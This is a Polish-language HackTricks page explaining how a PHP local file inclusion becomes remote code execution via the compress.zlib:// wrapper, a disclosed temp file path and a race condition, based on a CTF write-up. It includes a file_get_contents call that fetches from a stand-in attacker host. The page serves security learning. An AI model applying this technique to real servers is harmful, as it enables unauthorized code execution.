LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

compress.zlib:// i PHP_STREAM_PREFER_STDIO

Plik otwarty za pomocą protokołu compress.zlib:// z flagą PHP_STREAM_PREFER_STDIO może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.

To oznacza, że wywołanie takie jak:

file_get_contents("compress.zlib://http://attacker.com/file")

Wyśle żądanie o http://attacker.com/file, wtedy serwer może odpowiedzieć na żądanie ważną odpowiedzią HTTP, utrzymać połączenie otwarte i wysłać dodatkowe dane trochę później, które również zostaną zapisane w pliku.

Możesz zobaczyć te informacje w tej części kodu php-src w main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Warunek wyścigu do RCE

Ten CTF został rozwiązany przy użyciu poprzedniego triku.

Atakujący sprawi, że serwer ofiary otworzy połączenie, odczytując plik z serwera atakującego za pomocą protokołu compress.zlib.

Podczas gdy to połączenie istnieje, atakujący wyeksfiltruje ścieżkę do utworzonego pliku tymczasowego (jest ujawniana przez serwer).

Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI, ładując plik tymczasowy, który kontroluje.

Jednak w serwerze WWW istnieje sprawdzenie, które zapobiega ładowaniu plików zawierających <?. Dlatego atakujący wykorzysta Warunek wyścigu. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO tym, jak serwer WWW sprawdzi, czy plik zawiera zabronione znaki, ale PRZED załadowaniem jego zawartości.

Aby uzyskać więcej informacji, sprawdź opis Warunku wyścigu i CTF w https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks

Last updated